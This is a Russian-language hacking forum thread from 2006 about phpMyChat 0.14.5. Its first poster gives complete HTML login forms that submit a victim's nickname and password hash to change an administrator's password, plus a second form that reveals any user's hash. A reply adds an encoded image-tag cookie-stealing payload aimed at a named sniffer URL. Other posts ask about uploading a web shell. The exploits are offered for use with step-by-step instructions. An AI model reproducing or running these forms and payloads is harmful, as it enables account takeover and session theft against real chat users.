Чаты уязвимость в phpMyChat 0.14.5

Discussion in 'Веб-уязвимости' started by К.е.Н, 2 Apr 2006.

  1. К.е.Н

    К.е.Н Дитё-Инвалид

    Joined:
    5 Jul 2005
    Messages:
    104
    Likes Received:
    3
    Reputations:
    2
    Привет! Я нашел уязвимость в phpMyChat 0.14.5 ,и более поздние версии (может ее и до меня нашли, но вроде я таких уязвимостей не встречал). Суть в том: можно изменить пасс админу (любому пользователю), можно зайти под него ником в чат.
    Для этого надо знать его ник и хеш (хеш не надо расшифровывать).
    Допустим, мы узнали с помощью снифера хеш админа. Изменим ему пасс. Вот код страницы
    Code:
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    <HTML dir="LTR">
    
    <HEAD>
    <title>Книга посетителей</title>
    <LINK REL="stylesheet" HREF="config/start_page.css.php3?Charset=windows-1251&medium=10&FontName=" TYPE="text/css">
    <SCRIPT TYPE="text/javascript" LANGUAGE="JavaScript1.1">
    <!--
    function get_focus()
    {
    	window.focus();
    	document.forms['LoginForm'].elements['AUTH_USERNAME'].focus();
    }
    // -->
    </SCRIPT>
    </HEAD>
    
    <BODY onLoad="if (window.focus) get_focus();">
    <CENTER>
    <BR>
    <FORM ACTION="http://www.site.ru/chat/edituser.php3" METHOD="POST" AUTOCOMPLETE="OFF" NAME="LoginForm">
    <P></P>
    <INPUT TYPE="hidden" NAME="L" VALUE="russian">
    <INPUT TYPE="hidden" NAME="Link" VALUE="1">
    <INPUT TYPE="hidden" NAME="LIMIT" VALUE="">
    <TABLE BORDER=0 CELLPADDING=3 CLASS="table">
    <TR>
    	<TD ALIGN="CENTER">
    		<TABLE BORDER=0>
    		<TR>
    			<TH COLSPAN=2 CLASS="tabtitle">Вход в ЧатВиллу</TH>
    		</TR>
    		<TR>
    			<TD VALIGN="TOP" NOWRAP>Ник :</TD>
    			<TD VALIGN="TOP">
    				<INPUT TYPE="text" NAME="AUTH_USERNAME" SIZE=11 MAXLENGTH=10 VALUE="Pr13raK" CLASS="ChatBox">
    			</TD>
    		</TR>
    		<TR>
    			<TD VALIGN="TOP" NOWRAP>Пароль :</TD>
    			<TD VALIGN="TOP">
    				<INPUT TYPE="password" NAME="AUTH_PASSWORD" SIZE=11 MAXLENGTH=16 VALUE="310dcbbf4cce62f762a2aaa148d556bd" CLASS="ChatBox">
    			</TD>
    		</TR>
    		</TABLE>
    		<P>
    		<INPUT TYPE="submit" VALUE="Входим" CLASS="ChatBox">
    	</TD>
    </TR>
    </TABLE>
    </FORM>
    </CENTER>
    </BODY>
    
    </HTML>
    Для этого в поле:<INPUT TYPE="text" NAME="AUTH_USERNAME" SIZE=11 MAXLENGTH=10 VALUE="" CLASS="ChatBox"> после слова VALUE пишем его ник.
    В поле <INPUT TYPE="password" NAME="AUTH_PASSWORD" SIZE=11 MAXLENGTH=16 VALUE="" CLASS="ChatBox"> после слова VALUE пишем его хеш.
    Все сохраняем страницу в html и нажимаем "Войти" меняем пасс можно и ник и теперь мы админы. Если что-то не понятно пишите [email protected] или стучите в асю: 255553398.
    Извините если что не понятно это моя первая уязвимость!!!
    "The pirats of a network" www.pirats.jino-net.ru
     
    2 people like this.
  2. ZINGER

    ZINGER Banned

    Joined:
    23 Feb 2006
    Messages:
    64
    Likes Received:
    24
    Reputations:
    4
    хе-х, в этом " phpMyChat 0.14.5 " стока баг, что можно книгу написать... года 2-3 назад друг написал пхп скрипт через которую можно было кикнуть админа, стать модером и тд=)
    на сколько я помню на античате есть видео по той баге которую ты описал, но и хеш не всегда можно узнать....
     
  3. К.е.Н

    К.е.Н Дитё-Инвалид

    Joined:
    5 Jul 2005
    Messages:
    104
    Likes Received:
    3
    Reputations:
    2
    Мне стали задавать вопрос: «Как узнать хеш админа, если он не появляется в чате?".
    Узнать можно. И не только админа, а можно и любого модера или юзера. Вот код страницы:
    Code:
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    <HTML dir="LTR">
    
    <HEAD>
    <title>Книга посетителей</title>
    <LINK REL="stylesheet" HREF="config/start_page.css.php3?Charset=windows-1251&medium=10&FontName=" TYPE="text/css">
    <SCRIPT TYPE="text/javascript" LANGUAGE="JavaScript1.1">
    <!--
    function get_focus()
    {
    	window.focus();
    	document.forms['LoginForm'].elements['AUTH_USERNAME'].focus();
    }
    // -->
    </SCRIPT>
    </HEAD>
    
    <BODY onLoad="if (window.focus) get_focus();">
    <CENTER>
    <BR>
    <FORM ACTION="http://www.site.ru/chat/admin.php3" METHOD="POST" AUTOCOMPLETE="OFF" NAME="LoginForm">
    <P></P>
    <P><SPAN CLASS="error">Неправильный ник или пароль.</SPAN></P><INPUT TYPE="hidden" NAME="L" VALUE="russian">
    <INPUT TYPE="hidden" NAME="Link" VALUE="">
    <INPUT TYPE="hidden" NAME="LIMIT" VALUE="">
    <TABLE BORDER=0 CELLPADDING=3 CLASS="table">
    <TR>
    	<TD ALIGN="CENTER">
    		<TABLE BORDER=0>
    		<TR>
    			<TH COLSPAN=2 CLASS="tabtitle">Вход в ЧатВиллу</TH>
    		</TR>
    		<TR>
    			<TD VALIGN="TOP" NOWRAP>Ник :</TD>
    			<TD VALIGN="TOP">
    				<INPUT TYPE="text" NAME="AUTH_USERNAME" SIZE=11 MAXLENGTH=10 VALUE="Lady_Ann" CLASS="ChatBox">
    			</TD>
    		</TR>
    		<TR>
    			<TD VALIGN="TOP" NOWRAP>Пароль :</TD>
    			<TD VALIGN="TOP">
    				<INPUT TYPE="password" NAME="AUTH_PASSWORD" SIZE=11 MAXLENGTH=16 VALUE="Lady_Ann" CLASS="ChatBox">
    			</TD<!-- INSERT -->
    <INPUT type="hidden" name="do_not_login" value="false">
    <!-- END INSERT -->
    		</TR>
    		</TABLE>
    		<P>
    		<INPUT TYPE="submit" VALUE="Входим" CLASS="ChatBox">
    	</TD>
    </TR>
    </TABLE>
    </FORM>
    </CENTER>
    </BODY>
    
    </HTML>
    
    В строчке <INPUT TYPE="text" NAME="AUTH_USERNAME" SIZE=11 MAXLENGTH=10 VALUE="Lady_Ann" CLASS="ChatBox"> после VALUE= Пишем ник
    В строчке <INPUT TYPE="password" NAME="AUTH_PASSWORD" SIZE=11 MAXLENGTH=16 VALUE="Lady_Ann" CLASS="ChatBox"> после VALUE= тоже пишем этот же ник. А не хеш.
    Нажимаем "Вход" и видим, ник и пас в виде звездочек. Теперь просматриваем страницу в HTML и ищем строчку <INPUT TYPE="password" NAME="AUTH_PASSWORD" SIZE=11 MAXLENGTH=16 VALUE="342353564asas34523523" CLASS="ChatBox">
    Теперь уже после VALUE= будет не ник, а хеш пользователя.
    "The pirats of a network" www.pirats.jino-net.ru
     
  4. К.е.Н

    К.е.Н Дитё-Инвалид

    Joined:
    5 Jul 2005
    Messages:
    104
    Likes Received:
    3
    Reputations:
    2
    !!!!!!!!!!!!!!!хе-х, в этом " phpMyChat 0.14.5 " стока баг, что можно книгу написать... года 2-3 назад друг написал пхп скрипт через которую можно было кикнуть админа, стать модером и тд=)
    на сколько я помню на античате есть видео по той баге которую ты описал, но и хеш не всегда можно узнать....!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    Здесь есть видеоно только не по этой баге.Видео о том, как вставлять в чате теги
     
  5. Barsik

    Barsik Блoxacтый

    Joined:
    16 Jan 2005
    Messages:
    267
    Likes Received:
    238
    Reputations:
    182
    Давно уже эта уязвимость есть! Вот даже видео
    http://video.antichat.ru/file71.html
    А так воруем куки
    HTML:
    \x3cimg src="http\x3a//antichat.ru/cgi-bin/s.jpg" name="imaga"\x3e
    Где http\x3a//antichat.ru/cgi-bin/s.jpg = Путь к сниффу. На данный момент куки прилетят на сниффер Ачата http://antichat.ru/sniff/log.php
     
    #5 Barsik, 3 Apr 2006
    Last edited: 3 Apr 2006
    2 people like this.
  6. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    инвалид по-моему эта бага давно паблик и была найдена
     
  7. Phen1x

    Phen1x Member

    Joined:
    21 May 2006
    Messages:
    9
    Likes Received:
    13
    Reputations:
    0
    А шел можно как нибудь залить ?
     
  8. xPriZrAkx

    xPriZrAkx Member

    Joined:
    16 Mar 2007
    Messages:
    8
    Likes Received:
    8
    Reputations:
    0
    vot ya zaidy v chat i kyda mne vstavit etot Cod Stratichki?